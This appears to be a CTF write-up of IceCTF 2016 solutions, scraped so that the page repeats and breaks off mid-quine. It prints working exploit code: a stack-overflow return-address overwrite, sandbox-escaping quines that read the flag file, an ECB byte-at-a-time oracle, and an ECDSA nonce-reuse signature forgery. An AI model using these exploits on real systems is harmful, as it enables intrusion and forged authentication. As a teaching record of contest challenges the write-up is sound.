```Your flag is: IceCTF{i_guess_hashing_isnt_everything_in_this_world}```##Pwn### Demo (55 p)
```I found this awesome premium shell, but my demo version just ran out... can you help me crack it? /home/demo/ on the shell. ```
This is probably not the intended solution. Trying to execute `_=icesh && ./demo` does not work in `zsh`, but it does in `sh`. This requires no spoofing for `argv[0]`, and thus no execve code. Less work!
```[ctf-67751@icectf-shell-2016 /home/demo]$ sh$ _=icesh && ./demo$ cat flag.txtIceCTF{wH0_WoU1d_3vr_7Ru5t_4rgV}```
### Smashing Profit! (60 p)
```Do you think you can make this program jump to somewhere it isn't supposed to? Where we're going we don't need buffers!
/home/profit/ on the shell. ```
OK, let us go to the shell. Not surprisingly, `profit` suffers from a buffer overflow. Loading the binary into Hopper, we see that there is a subroutine @ `0x804850b` which would be suitable to call:
Here is how to exploit the buffer overflow to call the above function:
```[ctf-67751@icectf-shell-2016 /home/profit]$ python -c 'print "A"*76 + "\x08\x04\x85\x0b"[::-1]' | ./profitSmashing the stack for fun and...?IceCTF{who_would_have_thunk?}[1] 25262 done python -c 'print "A"*76 + "\x08\x04\x85\x0b"[::-1]' | 25263 segmentation fault ./profit```
### Quine I/II (90p / 125p)
This was a really entertaining challenge. The first idea was based on a false assumption, i.e., that the outputted code in the final iteration was not checked. Let us sketch the idea anyways. If we are able to store some data outside the code, we are able to count the iterations without altering the code. The stored data could be in an environment variable (but that turned out to be infeasible) or a file (we could create, read and write files in the sandbox where the code was running).
So, in pseudo code:
```pythonif 'some_file' exists: c = read('some_file') c += 1 if c < 19: print flag with system() call write('some_file', c)else: create('some_file') write('some_file', 0)```We noticed that the code is located in `./sandbox/[random token]-[time]`, so maybe the flag is `../../flag.txt`. This is of course a guess (which turns out to be correct). Encoding the above pseudo code as a quine, we get something like
```cconst char d[]={125,59,10,35,105,110,99,108,117,100,101,32,60,115,116,100,105,111,46,104,62,10,105,110,116,32,109,97,105,110,40,41,123,70,73,76,69,32,42,102,59,102,61,102,111,112,101,110,40,34,103,34,44,34,114,98,43,34,41,59,105,102,40,102,61,61,78,85,76,76,41,102,61,102,111,112,101,110,40,34,103,34,44,34,119,98,34,41,59,99,104,97,114,32,98,61,102,103,101,116,99,40,102,41,59,102,99,108,111,115,101,40,102,41,59,102,61,102,111,112,101,110,40,34,103,34,44,34,119,43,34,41,59,105,102,40,98,60,49,57,41,123,98,43,43,59,102,112,117,116,99,40,98,44,102,41,59,125,101,108,115,101,123,102,61,102,111,112,101,110,40,34,102,108,97,103,34,44,34,114,34,41,59,98,61,102,103,101,116,99,40,102,41,59,119,104,105,108,101,40,98,33,61,69,79,70,41,123,112,114,105,110,116,102,40,34,37,99,34,44,98,41,59,98,61,102,103,101,116,99,40,102,41,59,125,125,102,99,108,111,115,101,40,102,41,59,112,114,105,110,116,102,40,34,99,111,110,115,116,32,99,104,97,114,32,100,91,93,61,123,34,41,59,105,110,116,32,105,59,102,111,114,40,105,61,48,59,105,60,115,105,122,101,111,102,40,100,41,59,105,43,43,41,123,112,114,105,110,116,102,40,34,37,100,44,34,44,100,91,105,93,41,59,125,102,111,114,40,105,61,48,59,105,60,115,105,122,101,111,102,40,100,41,59,105,43,43,41,112,117,116,99,104,97,114,40,100,91,105,93,41,59,114,101,116,117,114,110,32,48,59,125,10,};#include <stdio.h>int main(){FILE *f;f=fopen("g","rb+");if(f==NULL)f=fopen("g","wb");char b=fgetc(f);fclose(f);f=fopen("g","w+");if(b<19){b++;fputc(b,f);}else{f=fopen("flag","r");b=fgetc(f);while(b!=EOF){printf("%c",b);b=fgetc(f);}}fclose(f);printf("const char d[]={");int i;for(i=0;i<sizeof(d);i++){printf("%d,",d[i]);}for(i=0;i<sizeof(d);i++)putchar(d[i]);return 0;}```
Obviously, this did not work. New strategy needed! If we can guess a char of the flag and write the guess to the submitted code, then read the corresponding char from `../../flag.txt` it will accept if and only if they match. So, where do we put our guess? We could put it in a string, but a simpler solution is to write it to a comment. We know that the flag begins with `IceCTF{`, so we can try out our hypothesis and be sure that it is correct. The following code can generate a quine for a certain guess:
```pythonimport sysguess = 'I' # the first char of the flaglength = 1data = '''};#include <stdio.h>int main(){printf("const char d[]={");int i;for(i=0;i<sizeof(d);i++){printf("%d,",d[i]);}for(i=0;i<sizeof(d);i++)putchar(d[i]);FILE *f;f=fopen("../../flag.txt","r");printf("//");for(i=0;i<'''+str(length)+''';i++){char b=fgetc(f);printf("%c",b);};return 0;}'''quine = 'const char d[]={'+''.join(str(ord(c))+',' for c in data) + data.strip('\n')+'//'+guess```
We call it with
```$ python quine_gen.py 1 | cat quine.c | nc quine.vuln.icec.tf 5500...//I```
Now this is where things get interesting! The code obviously works for `I`, but even for incorrect guesses. Also, it prints as many chars of the flag as we like! Seemingly, the server check actually ignores comments, i.e., chars after `//`. So, by setting the read length (`length = sys.argv[1]`) sufficiently large, we can submit auto-generated code as follows:
```$ python quine_gen.py 32 | cat quine.c | nc quine.vuln.icec.tf 5500...//IceCTF{the_flags_of_our_quines}
$ python quine_gen.py 55 | cat quine.c | nc quine.vuln.icec.tf 5501...//IceCTF{my_f1x3d_p0inT_br1nGs_alL_th3_n00bs_t0_th3_y4rD}```
Great! Two challenges solved with two almost identical quines :-D
##Crypto### RSA? (50 p)
```John was messing with RSA again... he encrypted our flag! I have a strong feeling he had no idea what he was doing however, can you get the flag for us? flag.txt```
OK, let us see that `flag.txt` contains
```$ cat flag.txt
N=0x180be86dc898a3c3a710e52b31de460f8f350610bf63e6b2203c08fddad44601d96eb454a34dab7684589bc32b19eb27cffff8c07179e349ddb62898ae896f8c681796052ae1598bd41f35491175c9b60ae2260d0d4ebac05b4b6f2677a7609c2fe6194fe7b63841cec632e3a2f55d0cb09df08eacea34394ad473577dea5131552b0b30efac31c59087bfe603d2b13bed7d14967bfd489157aa01b14b4e1bd08d9b92ec0c319aeb8fedd535c56770aac95247d116d59cae2f99c3b51f43093fd39c10f93830c1ece75ee37e5fcdc5b174052eccadcadeda2f1b3a4a87184041d5c1a6a0b2eeaa3c3a1227bc27e130e67ac397b375ffe7c873e9b1c649812edcd
e=0x1
c=0x4963654354467b66616c6c735f61706172745f736f5f656173696c795f616e645f7265617373656d626c65645f736f5f63727564656c797d
```
John used exponent `0x1`, so m is enevitably the same as c. Therefore, solving this challenge is no harder than `libnum.n2s(c)`, which prints ```IceCTF{falls_apart_so_easily_and_reassembled_so_crudely}```### RSA (60 p)
```This time John managed to use RSA " correctly "&ellipsis; I think he still made some mistakes though. flag.txt ```
Let us take a look...
```$ cat flag.txt
N=0x1564aade6f1b9f169dcc94c9787411984cd3878bcd6236c5ce00b4aad6ca7cb0ca8a0334d9fe0726f8b057c4412cfbff75967a91a370a1c1bd185212d46b581676cf750c05bbd349d3586e78b33477a9254f6155576573911d2356931b98fe4fec387da3e9680053e95a4709934289dc0bc5cdc2aa97ce62a6ca6ba25fca6ae38c0b9b55c16be0982b596ef929b7c71da3783c1f20557e4803de7d2a91b5a6e85df64249f48b4cf32aec01c12d3e88e014579982ecd046042af370045f09678c9029f8fc38ebaea564c29115e19c7030f245ebb2130cbf9dc1c340e2cf17a625376ca52ad8163cfb2e33b6ecaf55353bc1ff19f8f4dc7551dc5ba36235af9758b
e=0x10001
phi=0x1564aade6f1b9f169dcc94c9787411984cd3878bcd6236c5ce00b4aad6ca7cb0ca8a0334d9fe0726f8b057c4412cfbff75967a91a370a1c1bd185212d46b581676cf750c05bbd349d3586e78b33477a9254f6155576573911d2356931b98fe4fec387da3e9680053e95a4709934289dc0bc5cdc2aa97ce62a6ca6ba25fca6ae366e86eed95d330ffad22705d24e20f9806ce501dda9768d860c8da465370fc70757227e729b9171b9402ead8275bf55d42000d51e16133fec3ba7393b1ced5024ab3e86b79b95ad061828861ebb71d35309559a179c6be8697f8a4f314c9e94c37cbbb46cef5879131958333897532fea4c4ecd24234d4260f54c4e37cb2db1a0
d=0x12314d6d6327261ee18a7c6ce8562c304c05069bc8c8e0b34e0023a3b48cf5849278d3493aa86004b02fa6336b098a3330180b9b9655cdf927896b22402a18fae186828efac14368e0a5af2c4d992cb956d52e7c9899d9b16a0a07318aa28c8202ebf74c50ccf49a6733327dde111393611f915f1e1b82933a2ba164aff93ef4ab2ab64aacc2b0447d437032858f089bcc0ddeebc45c45f8dc357209a423cd49055752bfae278c93134777d6e181be22d4619ef226abb6bfcc4adec696cac131f5bd10c574fa3f543dd7f78aee1d0665992f28cdbcf55a48b32beb7a1c0fa8a9fc38f0c5c271e21b83031653d96d25348f8237b28642ceb69f0b0374413308481
c=0x126c24e146ae36d203bef21fcd88fdeefff50375434f64052c5473ed2d5d2e7ac376707d76601840c6aa9af27df6845733b9e53982a8f8119c455c9c3d5df1488721194a8392b8a97ce6e783e4ca3b715918041465bb2132a1d22f5ae29dd2526093aa505fcb689d8df5780fa1748ea4d632caed82ca923758eb60c3947d2261c17f3a19d276c2054b6bf87dcd0c46acf79bff2947e1294a6131a7d8c786bed4a1c0b92a4dd457e54df577fb625ee394ea92b992a2c22e3603bf4568b53cceb451e5daca52c4e7bea7f20dd9075ccfd0af97f931c0703ba8d1a7e00bb010437bb4397ae802750875ae19297a7d8e1a0a367a2d6d9dd03a47d404b36d7defe8469```
We have d (and ϕ), so `libnum.n2s(pow(c,d,N))` gives ```IceCTF{rsa_is_awesome_when_used_correctly_but_horrible_when_not}```### RSA2 (60 p)
```I guess the 3rd time is the charm? Or not... flag.txt
$ cat flag.txt
N=0xee290c7a603fc23300eb3f0e5868d056b7deb1af33b5112a6da1edc9612c5eeb4ab07d838a3b4397d8e6b6844065d98543a977ed40ccd8f57ac5bc2daee2dec301aac508f9befc27fae4a2665e82f13b1ddd17d3a0c85740bed8d53eeda665a5fc1bed35fbbcedd4279d04aa747ac1f996f724b14f0228366aeae34305152e1f430221f9594497686c9f49021d833144962c2a53dbb47bdbfd19785ad8da6e7b59be24d34ed201384d3b0f34267df4ba8b53f0f4481f9bd2e26c4a3e95cd1a47f806a1f16b86a9fc5e8a0756898f63f5c9144f51b401ba0dd5ad58fb0e97ebac9a41dc3fb4a378707f7210e64c131bca19bd54e39bbfa0d7a0e7c89d955b1c9f
e=0x10001
c=0x3dbf00a02f924a70f44bdd69e73c46241e9f036bfa49a0c92659d8eb0fe47e42068eaf156a9b3ee81651bc0576a91ffed48610c158dc8d2fb1719c7242704f0d965f8798304925a322c121904b91e5fc5eb3dc960b03eb8635be53b995217d4c317126e0ec6e9a9acfd5d915265634a22a612de962cfaa2e0443b78bdf841ff901423ef765e3d98b38bcce114fede1f13e223b9bd8155e913c8670d8b85b1f3bcb99353053cdb4aef1bf16fa74fd81e42325209c0953a694636c0ce0a19949f343dc229b2b7d80c3c43ebe80e89cbe3a3f7c867fd7cee06943886b0718a4a3584c9d9f9a66c9de29fda7cfee30ad3db061981855555eeac01940b1924eb4c301
```
Looking up N on [factordb.com](http://factordb.com), we find that it has a very small factor 57970027. Hence, we may compute ϕ(N) = (57970027 - 1) × (N / 57970027 - 1). Finally, the secret exponent is d = e⁻¹ mod ϕ(N). Knowning this, we may decrypt c.
The code
```pythonphi = (57970027 - 1) * (N / 57970027 - 1)d = libnum.modular.invmod(e, phi)print libnum.n2s(pow(c, d, N))```
prints
```IceCTF{next_time_check_your_keys_arent_factorable}```
### l33tcrypt (90 p)
```l33tcrypt is a new and fresh encryption service. For added security it pads all information with the flag! Can you get it? nc l33tcrypt.vuln.icec.tf 6001 server.py```
The server AES encrypts a string S along with the flag and some padding and returns the BASE64 encoded, i.e., as outlined below.
```pythondef server(string): ciphertext = encrypt(string + flag + padding) return b64encode(ciphertext)```
The AES encryption function operates on blocks of size 128 bits. Assume that we have a block as follows, where we have padded the plaintext with `AAAAAAAAAAAAAAAA` and where `???...` corresponds to the flag. The last char in the block is the first byte of the flag.
```
... AAAAAAAAAAAAAAAA? ????????????????|----------------|-----------------|----------------|
0xb4ff343...
```
We save the current block value `0xb4ff343...`. Now, we run the guessing procedure:
```
... AAAAAAAAAAAAAAAAx ????????????????|----------------|-----------------|----------------|
x = 'G' 0x57388f8... x = 'H' 0x343409f... X = 'I' 0xb4ff343... <-- correct guess
```
Obviously, we can choose a block `AAAAAAAAAAAAAAA??` and guess the second byte and so forth until the whole flag is found. We may implement it in Python as follows:
```pythonimport base64, socket, string
magic = 'l33tserver please'
def oracle(plaintext): s = socket.create_connection(('l33tcrypt.vuln.icec.tf', 6001)) s.recv(1024) s.recv(1024) s.send(base64.b64encode(magic + plaintext) + '\n') s.recv(1024) return base64.b64decode(s.recv(1024)) known_prefix = 'IceCTF{'
print '[+] Running trying plaintexts...'
while True:
i = 16 * 4 - 2 - len(known_prefix)
reference = oracle(i * 'A')[0:80] for guess in '_' + string.ascii_letters + string.digits + '}': if reference == oracle(i * 'A' + known_prefix + guess)[0:80]: known_prefix = known_prefix + guess print known_prefix break if guess == '}': print '[+] DONE!' break```
The code takes some time to run (could be threaded for improved performance). When it is done, it will have given the flag ```IceCTF{unleash_th3_Blocks_aNd_find_what_you_seek}```### Over the Hill (65 p)
```Over the hills and far away... many times I've gazed, many times been bitten. Many dreams come true and some have silver linings, I live for my dream of a decrypted flag. crypted ```
We are given a matrix and a ciphertext
```pythonsecret = [[54, 53, 28, 20, 54, 15, 12, 7], [32, 14, 24, 5, 63, 12, 50, 52], [63, 59, 40, 18, 55, 33, 17, 3], [63, 34, 5, 4, 56, 10, 53, 16], [35, 43, 45, 53, 12, 42, 35, 37], [20, 59, 42, 10, 46, 56, 12, 61], [26, 39, 27, 59, 44, 54, 23, 56], [32, 31, 56, 47, 31, 2, 29, 41]] ciphertext = "7Nv7}dI9hD9qGmP}CR_5wJDdkj4CKxd45rko1cj51DpHPnNDb__EXDotSRCP8ZCQ"```
Looks like a Hill cipher... the name vaguely suggests it... :-)
```python
import numpyfrom sage.all import *
alphabet = ("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789_{}")n = len(alphabet)
Zn = IntegerModRing(n)
secret = [[54, 53, 28, 20, 54, 15, 12, 7], [32, 14, 24, 5, 63, 12, 50, 52], [63, 59, 40, 18, 55, 33, 17, 3], [63, 34, 5, 4, 56, 10, 53, 16], [35, 43, 45, 53, 12, 42, 35, 37], [20, 59, 42, 10, 46, 56, 12, 61], [26, 39, 27, 59, 44, 54, 23, 56], [32, 31, 56, 47, 31, 2, 29, 41]]
secret = matrix(Zn, secret).inverse()ciphertext = "7Nv7}dI9hD9qGmP}CR_5wJDdkj4CKxd45rko1cj51DpHPnNDb__EXDotSRCP8ZCQ"
blocks = [ciphertext[i : i + secret.ncols()] for i in range(0, len(ciphertext), secret.ncols())]
plaintext = ''
for block in blocks: decrypted_block = secret * matrix(Zn, [alphabet.find(c) for c in block]).transpose() plaintext += ''.join(alphabet[int(i[0])] for i in decrypted_block) print plaintext
```
Invoked with `sage -python over_the_hill.py` gives ```IceCTF{linear_algebra_plus_led_zeppelin_are_a_beautiful_m1xture}```### Round Rabins (70 p)
Breaking Rabin cryptosystem is hard if the primes were chosen properly. This is probably the flaw here, or the challenge would be computationally hard. Lets try [factordb.com](http://factordb.com). It reports that `N` is square. OK, great.
```python
import libnum
N = 0x6b612825bd7972986b4c0ccb8ccb2fbcd25fffbadd57350d713f73b1e51ba9fc4a6ae862475efa3c9fe7dfb4c89b4f92e925ce8e8eb8af1c40c15d2d99ca61fcb018ad92656a738c8ecf95413aa63d1262325ae70530b964437a9f9b03efd90fb1effc5bfd60153abc5c5852f437d748d91935d20626e18cbffa24459d786601c = 0xd9d6345f4f961790abb7830d367bede431f91112d11aabe1ed311c7710f43b9b0d5331f71a1fccbfca71f739ee5be42c16c6b4de2a9cbee1d827878083acc04247c6e678d075520ec727ef047ed55457ba794cf1d650cbed5b12508a65d36e6bf729b2b13feb5ce3409d6116a97abcd3c44f136a5befcb434e934da16808b0b
x = libnum.common.nroot(N, 2)assert(N == x ** 2)
```
The code passes, so we are fine. Now, how do we solve a modular square root in squared prime modulus x²? First of all, we can solve the simpler problem in the smaller field Zₓ. We can use for instance PARI/GP `factor(x^2 - Mod(c%p,p))`. We now have the square roots
```pythonm1 = 1197994153960868322171729195459307471159014839759650672537999577796225328187763637327668629736211144613889331673398920144625276893868173955281904541942494m2 = p - m1```
We now need to lift it to square modulus, i.e., m₁ mod x². We achieve this as follows
```pythonq = (c - m1 ** 2) / pl = q * libnum.modular.invmod(2 * m1, p)m = m1 + l * p
print libnum.n2s(m % N)```
Running this, we get the flag```IceCTF{john_needs_to_get_his_stuff_together_and_do_things_correctly}```### Contract (130 p)
```Our contractors stole the flag! They put it on their file server and challenged us to get it back. Can you do it for us? nc contract.vuln.icec.tf 6002 server.py. We did intercept someone connecting to the server though, maybe it will help. contract.pcapng ```
This is clearly a nonce reuse, which leads to a standard attack. First, we compute the secret value k = (z₁ - z2) × (s₁ - s2)⁻¹ using a signature pair. Then, using a single signature in conjunction with k, we may find d = (s₁ × k - z₁) × (r₁)⁻¹. All modular operations are performed mod n.Embodied in Python, the attack is performed as follows.
```pythonimport hashlib, libnum, binascii, socketfrom ecdsa import VerifyingKey, SigningKey
def send(message): s = socket.create_connection(('contract.vuln.icec.tf', 6002)) s.send(message + '\n') print s.recv(1024) print s.recv(1024) return
PUBLIC_KEY = '''-----BEGIN PUBLIC KEY-----MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEgTxPtDMGS8oOT3h6fLvYyUGq/BWeKiCBsQPyD0+2vybIT/Xdl6hOqQd74zr4U2dkj+2q6+vwQ4DCB1X7HsFZ5JczfkO7HCdYI7sGDvd9eUias/xPdSIL3gMbs26b0Ww0-----END PUBLIC KEY-----'''
vk = VerifyingKey.from_pem(PUBLIC_KEY.strip())n = vk.pubkey.order
help_cmd = 'help:c0e1fc4e3858ac6334cc8798fdec40790d7ad361ffc691c26f2902c41f2b7c2fd1ca916de687858953a6405423fe156cfd7287caf75247c9a32e52ab8260e7ff1e46e55594aea88731bee163035f9ee31f2c2965ac7b2cdfca6100d10ba23826'time_cmd = 'time:c0e1fc4e3858ac6334cc8798fdec40790d7ad361ffc691c26f2902c41f2b7c2fd1ca916de687858953a6405423fe156c0cbebcec222f83dc9dd5b0d4d8e698a08ddecb79e6c3b35fc2caaa4543d58a45603639647364983301565728b504015d'read_flag_cmd = 'read flag.txt'
msg1, sig1 = help_cmd.split(':')msg2, sig2 = time_cmd.split(':')z1 = int(hashlib.sha256(msg1).hexdigest(), 16)z2 = int(hashlib.sha256(msg2).hexdigest(), 16)r1 = int(sig1[0 : len(sig1)/2], 16)s1 = int(sig1[len(sig1)/2 : len(sig1)], 16)r2 = int(sig2[0 : len(sig2)/2], 16)s2 = int(sig2[len(sig2)/2 : len(sig2)], 16)
k = libnum.modular.invmod(s1 - s2, n) * (z1 - z2) % nd = (s1 * k - z1) * libnum.modular.invmod(r1, n) % nsk = SigningKey.from_secret_exponent(d, curve=vk.curve)
send(read_flag_cmd + ':' + binascii.hexlify(sk.sign(read_flag_cmd, hashfunc=hashlib.sha256)))```
Once run, the server responds ```IceCTF{a_f0rged_signatur3_is_as_g00d_as_a_real_1}```
### Flagstaff (160 p)
```Someone hid his flag here... guess we better give up.
nc flagstaff.vuln.icec.tf 6003 server.py ```
The task is to find a ciphertext which decrypts to `flag` + padding.
```pythonimport socket, base64
def send(commands): s = socket.create_connection(('flagstaff.vuln.icec.tf', 6003)) s.recv(1024) print s.recv(1024) for cmd in commands: print '>> Sending:', cmd s.send(cmd + '\n') data = s.recv(1024).strip('\n') s.recv(1024) return data
data = 'flag' + '\x0c' * 0xcencrypted = send(['decrypt', base64.b64encode(data + data)])c = base64.b64decode(encrypted)[0:16]data = send(['secret', base64.b64encode(c + data)])data = send(['decrypt', data])print 'FLAG:', base64.b64decode(data)```
Running the code, we get
```Send me a command: >> Sending: decrypt>> Sending: ZmxhZwwMDAwMDAwMDAwMDGZsYWcMDAwMDAwMDAwMDAw=Send me a command: >> Sending: secret>> Sending: gaugSIvRkYtiHvaA8LepemZsYWcMDAwMDAwMDAwMDAw=Send me a command: >> Sending: decrypt>> Sending: ZEkWhSKVwJ/Z8MQYzdMH6ZaHqAcoEKg4GxKzlHc7I4tDmi5tKnPGE3rm/D5ZJpHbHuxv8yNCNqLVU0g7yOSi7Ic3xgP7Ke7kEADYzQQGtsc=FLAG: IceCTF{reverse_all_the_blocks_and_get_to_the_meaning_behind}```
### Attack of the Hellman! (200 p)
```We managed to intercept a flag transmission but it was encrypted :(. We got the Diffie-Hellman public key exchange parameters and some scripts they used for the transmission along with the encrypted flag.
Can you get it for us? ````
According to the scripts, the secret A is generated properly. What about B? If it is small enough (say, less than N), we can use a time-memory trade-off (or meet-in-the-middle). Such a trade-off requires O(√N) time and the same magnitude of memory.
```pythonimport base36
p=0x113b7d158a909efadc7216ca15fd51c419eb41ab108e0aa1d45da70c78185593d44bdb402476181c008ef36bc5378b0ad4c868ca4ed4f754c3c1b1f0891bcd8ad7d3db07251de90f4362cb5895f836eec8851d3fe3d68083db8a63053ec4078a55df017f1d43393f3aa2a453bb334417671731731e1e7687c77d104ff76aed523b6980831a4c4b55d74c4de77462d9a596ce7fcb3090d0abb8f94989c1b3701e533ebd722c855fba9ff17d64ce9b3306841157ee49b1c1fb3a38c93b9faaa84efcfdceba923b73b8682835ca322a1350bcc322d7eb34259d8302f55157c2c5d72c8aebb7b57f9f08809ee034258cf2e3c8e0982a155b72fdc79432eceb83b49d9g=0xa9074b6e6d5bba3d024b90eeaee1f5b969fee32c5c25b91698755450509a8beb4100b046c9c6601981e208bc6e505aa67fdd224eff829a8cd8ebc1267c2cb4192b18ab1bcf5dba908e2cd849be038b5d52d5cf836eed63ee54fab1838a7152361a298bbeab3cc2d6f2b84097622fa5493dca99b4b6a648dcc886b607a8dc9590d995cf2e1f24ac5f277a2260d34410dc3b832ed6dc4928e92dfa8a807ddbdf77574d7bb34a45ca08bb7c8b89aa1fd1380abcbd75f99d3e819da9617356b650f9cc21ccffe913b09ca547967bb12feedbdb97730ccff09cc63aab6f6fc7b33392211da29bf32538b38a514cad4ea271e97618e39b0ab7cb152499093b7afbae2fA=0x18776a5cf81fc30572aa9682dfb2f7d606e8073de536853dd9be8a391261dcca6cebea2a2b1337f2a057d238152729cea6983a8ef2b111d8096f212db771229830e2e6d4839a37355d4efb265183f199cd573fa99a38183e7ee3cc7fdac7c92078b6c1535b142965379f1c7e73d5a95725dfb75749529a687bf9b7e01a0b4511a05d96999608c2527a0308f2360d26706233d451f62edc8f2e76fde85c631b601d12a828657efe65aba78fccd46d79a84bc3380da71fad6472d9e666fd99fbd7c154555501b608d4cef875099e037eef3712a5e3108f95c1e01b2a8f0961569c77738a459b65b0ac39109b30ab3226d7b92a1db080a99bbb86f6e96266b13df7B=0xbecd8332380e8c0f3969602e4924473ade119dad5fe6f2d9582dc8196ae85dfa80fab3c001f8bea1ca6c63b9f8f264742beaede2bd11c86bf4d6a0fa7df1dd84da318a7142f2228dbb8dd37a5a3c5a772dd2c744184a41743f4286ba2ccfa431c1571cd63a9ee1bb398b4dd09ccaa426b37f72f4452c2f37a96634e8d6604362e2836891818e9744f00323ade93e10aa1785cc1865fff57ec5caacf74b11ebed16384613145a2e33141a9523252b952cf0eb9c33914d067b66a2a03133f044f336efee054eec905dfa14af970f556b44c52e3814e0914a2393bb56da5aca7b88c45fcaf02f76fc9718746c15901b8ea86801f0b07eca7385dd1cb6991e65e421
table = {}S = 0
print '[-] Generating table...'
for i in range(0, 2**33, 2**20): # sufficient bounds table[pow(g, i, p)] = i
print '[-] Performing look-up in table...'
for i in range(0, 2**18): B = (B * g) % p if B in table: print ' >> B = g ^', table[B] - i S = pow(A, table[B] - i, p) break
print '[+] Key found:\n\n', base36.dumps(S), '\n'```
I saved the code as `hellman.py` and did the following terminal magic:
```$ python hellman.py [-] Generating table...[-] Performing look-up in table... >> B = g ^ 4856995548[+] Key found:
1kqgc7f6xza9dbakto3h58hin09x7pbh28tb288r4xrrrdshcymf6c5pgt03kfirpvc75aboptmn6qzuga4ka753wz5w0sokp1i8u787qklcecnhd0wp2l6i73wesuxsl958vsmobt0e4b24mycgk9e65vkk5xxp4es6hujivdgxonn5dsvb0y5hh5aj59vshz088981qccgzecq3xkg2hdpmbjntbrmd4zsdxfsl8kweabbt0a8n6bgaqafo2e1nibo74c28iaoi7r25k1l7y3sjec040ao54bdwtoohevijf8jc9n94h16kgr1fbzy15eoiu6j49pifo8qeu927ns34iq5409ws41iahkchnofhqjai2r7bpfsen9vwofpckwdsbjovinzn
$ openssl aes-256-cbc -a -d -in flag.enc -out flag.txtenter aes-256-cbc decryption password: [key]$ cat flag.txtIceCTF{cover_your_flags_in_mayonnaise_and_primes_guys}```
Great :-)
# Conclusion
This was a fun CTF, perfect for beginners. Good diversity and entertaining problems, no complicated problems that require no though and only large amounts of work or guessing. Some quirks with unintended vulnerabilities in some challenges along they way, but the organizers did a good job. |
# IceCTF Solutions
This page contains some of the challenges I solved during IceCTF '16.
## Reconnaissance & Forensics### Complacement (40 p)
```These silly bankers have gotten pretty complacent with their self signed SSL certificate. I wonder if there's anything in there. [complacent.vuln.icec.tf]```
### Time Traveler (45 p)
```I can assure you that the flag was on this website (http://time-traveler.icec.tf) at some point in time. ```
Let us try the Wayback Machine!
### Audio problems (45 p)```We intercepted this audio signal, it sounds like there could be something hidden in it. Can you take a look and see if you can find anything? ```
In Audacity, we can get the spectrum:
Feels like I've solved this very same problem a couple of times now... get creative problem makers!
##Web### Toke (45 p)
I have a feeling they were pretty high when they made this [website](http://toke.vuln.icec.tf)...
We create an account and look at the tokens. There is a `jwt_token`, containing
```eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmbGFnIjoiSWNlQ1RGe2pXN190MEszbnNfNFJlX25PX3AxNENFX2ZPUl81M0NyRTdTfSIsInVzZXIiOiIxMjM0YWEifQ.tfe4bqNnoRb2OOd7KV88qov5Y6oe55Cs2knKLo28Z7s```
Let us decode it! Among other things, we get ```IceCTF{jW7_t0K3ns_4Re_nO_p14CE_fOR_53CrE7S}```### Kitty (80 p)
```They managed to secure their website this time and moved the hashing to the server :(.We managed to leak this hash of the admin's password though!
c7e83c01ed3ef54812673569b2d79c4e1f6554ffeb27706e98c067de9ab12d1a.
Can you get the flag? [kitty.vuln.icec.tf]```
OK, trying the most simple and obvious... reversing the hash works! The password is `Vo83*`. If we login as `admin` with the password we found, we see:
```Your flag is: IceCTF{i_guess_hashing_isnt_everything_in_this_world}```##Pwn### Demo (55 p)
```I found this awesome premium shell, but my demo version just ran out... can you help me crack it? /home/demo/ on the shell. ```
This is probably not the intended solution. Trying to execute `_=icesh && ./demo` does not work in `zsh`, but it does in `sh`. This requires no spoofing for `argv[0]`, and thus no execve code. Less work!
```[ctf-67751@icectf-shell-2016 /home/demo]$ sh$ _=icesh && ./demo$ cat flag.txtIceCTF{wH0_WoU1d_3vr_7Ru5t_4rgV}```
### Smashing Profit! (60 p)
```Do you think you can make this program jump to somewhere it isn't supposed to? Where we're going we don't need buffers!
/home/profit/ on the shell. ```
OK, let us go to the shell. Not surprisingly, `profit` suffers from a buffer overflow. Loading the binary into Hopper, we see that there is a subroutine @ `0x804850b` which would be suitable to call:
Here is how to exploit the buffer overflow to call the above function:
```[ctf-67751@icectf-shell-2016 /home/profit]$ python -c 'print "A"*76 + "\x08\x04\x85\x0b"[::-1]' | ./profitSmashing the stack for fun and...?IceCTF{who_would_have_thunk?}[1] 25262 done python -c 'print "A"*76 + "\x08\x04\x85\x0b"[::-1]' | 25263 segmentation fault ./profit```
### Quine I/II (90p / 125p)
This was a really entertaining challenge. The first idea was based on a false assumption, i.e., that the outputted code in the final iteration was not checked. Let us sketch the idea anyways. If we are able to store some data outside the code, we are able to count the iterations without altering the code. The stored data could be in an environment variable (but that turned out to be infeasible) or a file (we could create, read and write files in the sandbox where the code was running).
So, in pseudo code:
```pythonif 'some_file' exists: c = read('some_file') c += 1 if c < 19: print flag with system() call write('some_file', c)else: create('some_file') write('some_file', 0)```We noticed that the code is located in `./sandbox/[random token]-[time]`, so maybe the flag is `../../flag.txt`. This is of course a guess (which turns out to be correct). Encoding the above pseudo code as a quine, we get something like
```cconst char d[]={125,59,10,35,105,110,99,108,117,100,101,32,60,115,116,100,105,111,46,104,62,10,105,110,116,32,109,97,105,110,40,41,123,70,73,76,69,32,42,102,59,102,61,102,111,112,101,110,40,34,103,34,44,34,114,98,43,34,41,59,105,102,40,102,61,61,78,85,76,76,41,102,61,102,111,112,101,110,40,34,103,34,44,34,119,98,34,41,59,99,104,97,114,32,98,61,102,103,101,116,99,40,102,41,59,102,99,108,111,115,101,40,102,41,59,102,61,102,111,112,101,110,40,34,103,34,44,34,119,43,34,41,59,105,102,40,98,60,49,57,41,123,98,43,43,59,102,112,117,116,99,40,98,44,102,41,59,125,101,108,115,101,123,102,61,102,111,112,101,110,40,34,102,108,97,103,34,44,34,114,34,41,59,98,61,102,103,101,116,99,40,102,41,59,119,104,105,108,101,40,98,33,61,69,79,70,41,123,112,114,105,110,116,102,40,34,37,99,34,44,98,41,59,98,61,102,103,101,116,99,40,102,41,59,125,125,102,99,108,111,115,101,40,102,41,59,112,114,105,110,116,102,40,34,99,111,110,115,116,32,99,104,97,114,32,100,91,93,61,123,34,41,59,105,110,116,32,105,59,102,111,114,40,105,61,48,59,105,60,115,105,122,101,111,102,40,100,41,59,105,43,43,41,123,112,114,105,110,116,102,40,34,37,100,44,34,44,100,91,105,93,41,59,125,102,111,114,40,105,61,48,59,105,60,115,105,122,101,111,102,40,100,41,59,105,43,43,41,112,117,116,99,104,97,114,40,100,91,105,93,41,59,114,101,116,117,114,110,32,48,59,125,10,};#include <stdio.h>int main(){FILE *f;f=fopen("g","rb+");if(f==NULL)f=fopen("g","wb");char 